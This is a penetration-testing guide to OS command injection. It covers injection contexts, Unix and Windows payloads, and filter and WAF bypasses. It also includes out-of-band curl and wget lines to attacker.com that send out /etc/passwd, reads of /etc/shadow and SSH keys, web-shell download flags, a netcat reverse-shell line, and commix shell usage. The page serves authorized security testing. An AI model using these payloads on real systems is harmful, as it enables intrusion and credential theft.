Skip to main content
CWECWE-78, CWE-77
WSTGWSTG-INPV-12, WSTG-INPV-13
MITRE ATT&CKT1059
CVSS Range7.2-9.8
Toolscommix
Difficulty🟡 intermediate

Command Injection

Command injection occurs when user-controllable data is incorporated into a shell command without proper sanitization, enabling arbitrary OS command execution. Test every input parameter, API endpoint, header, and cookie value that could reach a shell -- many injection points hide behind file processing, image conversion, network diagnostics, or PDF generation features.

Quick Reference​

Command Separators (execute multiple commands)​

MetacharacterBehaviorExample
;Execute sequentiallycmd1;cmd2
&Execute cmd1 in backgroundcmd1&cmd2
&&Execute cmd2 only if cmd1 succeedscmd1&&cmd2
||Execute cmd2 only if cmd1 failscmd1||cmd2
|Pipe cmd1 output to cmd2cmd1|cmd2
%0aNewline separatorcmd1%0acmd2

Command Substitution (embed command output)​

SyntaxNotes
`command`Legacy backtick substitution
$(command)Modern substitution, nestable

I/O Redirection​

OperatorPurpose
>Redirect stdout to file (overwrite)
>>Redirect stdout to file (append)
<Redirect file to stdin
2>Redirect stderr
2>&1Redirect stderr to stdout

Quoting and Escaping​

CharacterBehavior
' (single quotes)Literal string, no expansion
" (double quotes)String with variable expansion
\ (backslash)Escape next character
$IFSInternal Field Separator (default: space/tab/newline)

Detect Injection Points​

Identify Vulnerable Functionality​

Look for functionality that interacts with the operating system:

Obvious indicators:

  • File operations: upload, download, convert, compress, extract
  • Network operations: ping, traceroute, DNS lookup, port scan
  • System operations: backup, restore, maintenance functions
  • Data processing: convert, resize, encode, decode, export
  • Logging/monitoring: log viewers, system status pages
  • Developer/admin tools: debug consoles, command runners

Hidden injection points:

  • PDF generation (wkhtmltopdf, Puppeteer, WeasyPrint)
  • Image processing (ImageMagick, GraphicsMagick)
  • Video/audio processing (FFmpeg, FFprobe)
  • Document conversion (LibreOffice, Pandoc)
  • Archive handling (zip, tar, unzip)
  • Email sending (sendmail, postfix)
  • Git operations (clone, pull, push URLs)
  • Package managers (npm, pip with URLs)
  • Cron job creation/modification
  • Certificate generation (OpenSSL)

Parameter types to test:

  • Filenames and paths
  • URLs and URIs
  • IP addresses and hostnames
  • Email addresses
  • Usernames
  • Search queries
  • Configuration values
  • Template names
  • Format specifiers
  • Callback URLs

Gather Reconnaissance​

Before crafting payloads, gather intelligence:

  1. Identify the operating system. Check response headers, error messages, and path patterns (/etc/ vs C:\).
  2. Identify the shell environment. Linux typically uses /bin/sh or /bin/bash. Windows uses cmd.exe or PowerShell. Containers may have limited shells (ash, busybox).
  3. Identify the application context. What function does the endpoint perform? What command might be executed? What arguments are expected? What sanitization might be in place?
  4. Identify output channels. Direct response (immediate output), delayed response (async processing), error messages (stderr captured), file output (write to accessible location), out-of-band (DNS, HTTP callbacks).

Understand Injection Contexts​

Where your input lands affects payload construction:

Direct injection -- user input appended directly to a command string:

ping -c 4 [USER_INPUT]
Payload: 8.8.8.8; id
Result: ping -c 4 8.8.8.8; id

Quoted injection -- user input placed within quotes:

echo "[USER_INPUT]"
Payload: "; id; echo "
Result: echo ""; id; echo ""

Argument injection -- user input used as an argument, not a command:

tar -cf archive.tar [USER_INPUT]
Payload: --checkpoint=1 --checkpoint-action=exec=id test.txt
Result: tar -cf archive.tar --checkpoint=1 --checkpoint-action=exec=id test.txt

Nested command injection -- user input within command substitution:

echo "Result: $(process [USER_INPUT])"
Payload: test); id; echo $(echo
Result: echo "Result: $(process test); id; echo $(echo)"

Exploit OS Command Injection​

Unix/Linux​

Basic payloads -- try these first to confirm injection:

; id
| id
|| id
& id
&& id
%0aid
`id`
$(id)

Context-aware payloads for filename parameters:

test.txt; id
test.txt | id
test.txt`id`

Context-aware payloads for quoted contexts:

"; id; echo "
'; id; echo '
`id`
$(id)

Context-aware payloads for numeric parameters:

1; id
1 | id
1 || id

System enumeration (after confirming injection):

; id
; whoami
; hostname
; uname -a
; cat /etc/passwd
; ls -la /
; pwd
; env
; ps aux

Network enumeration:

; ifconfig
; ip addr
; netstat -an
; ss -tuln
; cat /etc/hosts
; cat /etc/resolv.conf

Sensitive file access:

; cat /etc/shadow
; cat /etc/sudoers
; cat ~/.ssh/id_rsa
; cat ~/.bash_history
; cat /proc/self/environ
; cat /proc/self/cmdline

Windows​

Basic payloads:

& whoami
| whoami
&& whoami
|| whoami

System enumeration:

& whoami
& hostname
& systeminfo
& net user
& net localgroup administrators
& ipconfig /all
& dir c:\
& type c:\windows\win.ini
& set

Network enumeration:

& netstat -an
& arp -a
& route print
& net view
& net session

User/group enumeration:

& net user
& net localgroup
& net user administrator
& qwinsta

Sensitive file access:

& type c:\users\administrator\.ssh\id_rsa
& type c:\windows\system32\config\sam
& type c:\inetpub\wwwroot\web.config

Target Language-Specific Patterns​

Identifying the backend language helps you find vulnerable functions and craft targeted payloads.

Python​

Vulnerable patterns:

import os
filename = request.args.get('filename')
os.system(f'cat {filename}') # Attacker: filename=test;id

import subprocess
subprocess.call(f'grep {search_term} /var/log/app.log', shell=True)

Target functions: os.system(), os.popen(), subprocess.call(..., shell=True), subprocess.Popen(..., shell=True), subprocess.run(..., shell=True), commands.getoutput().

PHP​

Vulnerable patterns:

$ip = $_GET['ip'];
exec("ping -c 4 " . $ip); // Attacker: ip=8.8.8.8;id

$output = `cat {$_GET['file']}`; // Backtick operator

system("nslookup " . $_POST['domain']);

Target functions: exec(), system(), passthru(), shell_exec(), popen(), proc_open(), backtick operator.

Node.js​

Vulnerable patterns:

const { exec } = require('child_process');
exec(`convert ${req.body.input} output.png`); // Attacker: test.jpg;id

const cmd = `echo ${userInput}`;
require('child_process').execSync(cmd);

Target functions: child_process.exec(), child_process.execSync(), child_process.spawn() with shell: true.

Ruby​

Vulnerable patterns:

result = `grep #{params[:term]} /var/log/app.log`  # Backticks

system("convert #{params[:file]} output.png")

Target functions: backticks, system(), exec(), IO.popen(), Open3.capture3(), %x{}.

Java​

Vulnerable patterns:

String cmd = "ping -c 4 " + request.getParameter("ip");
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});

Target functions: Runtime.getRuntime().exec(), ProcessBuilder with shell invocation.

Exploit Blind Command Injection​

When command output is not returned in the response, use these techniques to detect and confirm injection.

Time-Based Detection​

Linux:

; sleep 10
| sleep 10
`sleep 10`
$(sleep 10)
; ping -c 10 127.0.0.1

Windows:

& ping -n 10 127.0.0.1
| timeout /t 10
& waitfor pause /t 10

Measure response time difference. Test with multiple delay values (5s, 10s, 15s) to verify a consistent correlation between the specified delay and the observed response time. A single delay is not sufficient -- you need to rule out coincidental network latency.

File-Based Detection​

Write output to a web-accessible location, then retrieve it:

; id > /var/www/html/output.txt
; id > /tmp/output.txt

Use Out-of-Band Channels​

HTTP-Based​

; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
`curl http://attacker.com/$(id)`
$(curl http://attacker.com/$(hostname))

Bypass Filters​

Space Bypass​

When spaces are filtered, use alternatives:

cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd
cat</etc/passwd

Keyword Bypass​

When specific command names are blocked:

# Quote insertion
w'h'o'a'm'i
w"h"o"a"m"i
who$()ami

# Backslash insertion
w\ho\am\i
c\at /etc/passwd

# Wildcard globbing
/???/??t /???/p??s?? # /bin/cat /etc/passwd
/???/n? -e /???/b??h attacker.com 4444

# Base64 encoding
echo d2hvYW1p | base64 -d | sh

# Hex encoding
$(printf '\x77\x68\x6f\x61\x6d\x69')

# Octal encoding
$'\167\150\157\141\155\151'

Command Bypass​

When common binaries are blocked:

/???/b??/?at /etc/passwd
/u?r/b?n/w?oam?
$SHELL -c "id"
${SHELL} -c "whoami"
head -c 1000 /etc/passwd
tail -n 100 /etc/passwd
sort /etc/passwd
rev /etc/passwd | rev

Quote Bypass​

echo te""st
echo te''st
echo te``st
echo $'test'
$(printf 'cat /etc/passwd')
$@ c$@at /etc/passwd

Evade WAFs​

URL Encoding​

%3B id            # ;
%7C id # |
%26 id # &
%60id%60 # `id`
%24%28id%29 # $(id)

Double URL Encoding​

%253B id          # ;
%257C id # |
%2524%2528id%2529 # $(id)

Unicode/Wide Encoding​

%u003B id         # ;
%u007C id # |

Newline Variations​

%0a id            # LF
%0d id # CR
%0d%0a id # CRLF

Null Byte Injection​

test%00; id
test.txt%00.jpg; id

Argument Injection​

When user input becomes a command argument rather than part of the command string, inject additional flags:

ToolPayload
tar--checkpoint=1 --checkpoint-action=exec=id file.txt
curl-o /tmp/shell.php http://attacker.com/shell.php
git--upload-pack="id" . or ext::sh -c id% /
rsync-e "sh -c id" user@attacker.com:file /tmp/
ssh-o ProxyCommand="id" host
wget--output-document=/var/www/shell.php http://attacker.com/shell
ImageMagick"|id" input.png output.png or -write "/var/www/shell.php"
FFmpeg-i http://attacker.com/malicious.m3u8 output.mp4

Enumerate After Exploitation​

After confirming command injection, demonstrate impact with non-destructive enumeration. Collect evidence of:

  1. Identity and privileges: id, whoami, groups
  2. System information: uname -a, hostname, cat /etc/os-release
  3. Network position: ip addr, cat /etc/hosts, ss -tuln
  4. Accessible sensitive data: /etc/passwd, environment variables, config files
  5. Running services: ps aux, systemctl list-units
  6. Container/cloud context: Check for /.dockerenv, AWS metadata at 169.254.169.254, Kubernetes service account tokens

Never execute destructive commands (rm, format, drop, shutdown) during testing. Never establish persistent access (reverse shells, backdoors, new users) unless explicitly authorized and scoped.

Assess Impact​

Command injection is almost always Critical severity. Document the following to support the rating:

  • Confidentiality: What data can be read? (passwords, keys, PII, source code)
  • Integrity: Can files be modified? Can code be injected?
  • Availability: Can the system be shut down or degraded?
  • Scope: Can the attacker pivot to other systems? (internal network access, cloud metadata, container escape)
  • Authentication context: Does exploitation require authentication? What privilege level?

Build a Proof of Concept​

When building a proof of concept:

  1. Use only non-destructive commands: id, whoami, hostname, cat /etc/passwd
  2. Record the exact payload used
  3. Provide a complete curl command for reproduction
  4. Show the raw response containing command output
  5. For blind injection, document baseline response time alongside timed injection attempts with multiple delay values
  6. For OOB injection, include evidence from the interaction server (DNS query log, HTTP request log)
  7. List what data is accessible via the vulnerability
  8. Never exfiltrate actual sensitive data beyond what is needed to prove impact

Verification levels (in order of strength):

  • Behavioral indication (weak): Time delay observed but could be coincidental. Strengthen by testing multiple delay values (5s, 10s, 15s) and verifying linear correlation.
  • Confirmed execution (strong): Command output observed directly in response, or verified via OOB callback, or file creation confirmed.
  • Exploited with impact (definitive): Security-relevant information extracted (OS version, hostname, internal IP, /etc/passwd contents). This is the standard you should aim for.

Tools​

Commix​

Commix (command injection exploiter) automates detection and exploitation.

Basic usage:

# Test a URL parameter
python commix.py -u "https://target.com/ping?host=127.0.0.1"

# Test POST data
python commix.py -u "https://target.com/submit" --data "host=127.0.0.1"

# With cookies
python commix.py -u "https://target.com/ping?host=127.0.0.1" --cookie "session=abc"

# Skip specific techniques
python commix.py -u "URL" --skip-technique=fb

Advanced usage:

# All techniques
python commix.py -u "URL" --all

# Time-based blind only
python commix.py -u "URL" --technique=t

# Results-based (visible output)
python commix.py -u "URL" --technique=classic

# Custom injection marker
python commix.py -u "https://target.com/ping?host=INJECT_HERE" --inject-tag="INJECT_HERE"

# Execute a specific OS command
python commix.py -u "URL" --os-cmd="id"

# Interactive OS shell
python commix.py -u "URL" --os-shell

WAF bypass options:

# Tamper scripts
python commix.py -u "URL" --tamper=base64encode
python commix.py -u "URL" --tamper=space2ifs

# Prefix/suffix
python commix.py -u "URL" --prefix=";" --suffix="|"

# Custom technique with delimiters
python commix.py -u "URL" --technique=classic --prefix="\`" --suffix="\`"

Manual curl Patterns​

For precise control and evidence gathering:

# Time-based detection
time curl -s "https://target.com/ping?host=127.0.0.1;sleep+5"
time curl -s "https://target.com/ping?host=127.0.0.1|sleep+5"
time curl -s "https://target.com/ping?host=\$(sleep+5)"
time curl -s "https://target.com/ping?host=127.0.0.1%0asleep+5"

# OOB detection (HTTP) - use callback_url from manage_ssrf_callbacks
curl -s "https://target.com/ping?host=\$(curl+CALLBACK_URL)"

# Command output extraction
curl -s "https://target.com/ping?host=127.0.0.1;id"
curl -s "https://target.com/ping?host=\$(id)"
curl -s "https://target.com/ping?host=127.0.0.1\`id\`"

Payload Generation for Bypass​

# IFS bypass (space filtering)
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /etc/passwd

# Newline injection
host=127.0.0.1%0aid
host=127.0.0.1%0d%0aid

Prioritization​

Test these first (highest real-world exploitability)​

  1. Direct injection in network diagnostic features -- Ping, traceroute, DNS lookup, and port scan features almost always pass user input to shell commands. EPSS >0.8 for known command injection CVEs. These are trivial to exploit once found.
  2. Injection via file processing parameters -- Filename, path, and format parameters in image conversion (ImageMagick), PDF generation (wkhtmltopdf), and document conversion (LibreOffice) are frequently vulnerable and widely deployed.
  3. Injection in Git/package manager operations -- Clone URLs, repository paths, and package URLs often reach shell commands. High impact due to typical server-side privileges.

Test these if time permits (lower exploitability)​

  1. Blind injection via time delays -- When no output is returned, time-based detection is slower and less reliable. Test with multiple delay values to rule out network latency.
  2. Argument injection in specific tools -- Requires knowledge of the backend tool (tar, curl, git) and its exploitable flags. Narrower attack surface but can bypass input sanitization that only blocks metacharacters.
  3. Injection in email-sending features -- Sendmail/postfix injection is rare in modern applications but still present in legacy systems.

Skip if​

  • The application is purely client-side (SPA with no server-side processing)
  • No system-interaction features are detected (no file conversion, network tools, or admin utilities)

Note: Serverless functions (Lambda, Cloud Functions) still have shell access and are vulnerable to command injection. Do not skip based on serverless architecture alone.

Asset criticality​

Command injection is almost always Critical regardless of endpoint. Prioritize: admin/developer tools > file processing endpoints > network diagnostic features > email/notification features. Any confirmed command injection should be immediately escalated.